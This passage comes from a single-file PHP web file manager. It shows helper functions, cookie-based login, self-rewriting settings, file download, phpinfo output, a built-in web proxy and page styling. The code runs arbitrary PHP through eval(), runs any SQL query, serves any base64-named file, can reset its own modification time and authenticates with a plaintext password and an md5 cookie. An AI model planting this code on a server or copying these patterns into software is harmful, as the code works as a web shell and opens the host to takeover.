			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
